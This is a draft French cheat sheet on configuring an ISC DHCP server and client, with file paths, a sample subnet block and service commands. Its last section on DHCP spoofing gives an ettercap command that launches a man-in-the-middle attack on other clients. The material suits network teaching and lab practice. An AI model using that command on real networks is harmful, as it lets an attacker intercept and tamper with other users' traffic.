Show Menu
Cheatography

Refcard DHCP Cheat Sheet (DRAFT) by

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

This is a draft cheat sheet. It is a work in progress and is not finished yet.

Config­uration IP

Serveur
Client
/etc/d­efa­ult­/is­c-d­hcp­-server [fichier DHCP config serveur]
/etc/n­etw­ork­/in­ter­faces [fichier config client]
INTERF­ACE­Sv4­="et­h0"
iface eth0 inet dhcp [prend une IP serveur (ne pas mettre 'auto')]
 

Config­ura­tions DHCP

Silenc­ieuse
Dynamique et Statique
/etc/d­hcp­/dh­cpd.conf [fichier config DHCP]
defaul­t-l­eas­e-time 600 ; min-le­ase­-time 300 ; max-le­ase­-time 7200 ; subnet 192.16­8.10.0 netmask 255.25­5.255.0 { range 192.16­8.1­0.100 192.16­8.1­0.150 ; host my_server { hardware ethernet a0:00:­01:­02:­03:04 ; fixed-­address 192.16­8.1­0.200 ; } option routers 192.16­8.10.1 ; } [bloc subnet]
systemctl restart isc-dh­cp-­server [redémarre DHCP]
/var/l­ib/­dhc­p/d­hcp­d.l­eases [fichier bail serveur]
systemctl status isc-dh­cp-­server [état DHCP]
/var/l­ib/­dhc­p/d­hcl­ien­t.<­ifa­ce> [bail client]
journalctl --unit <se­rvi­ce> --lines <N> [n lignes journal log]
dhclient -r eth0 [libérer bail en debug]
journalctl --unit isc-dh­cp-­server --follow [logs en temps réel]
ifdown --force eth0 [libérer bail]
dhclient -d eth0 [debug client]
systemctl stop isc-dh­cp-­server [réall­ocation bail client]
 

Man In The Middle

DHCP Spoofing
dhclient -r eth0 [relâcher config­uration réseau]
ettercap -Tzq -M dhcp:/­255.25­5.2­55.0­/<IP DHCP1> [lancer attaque sur autre client]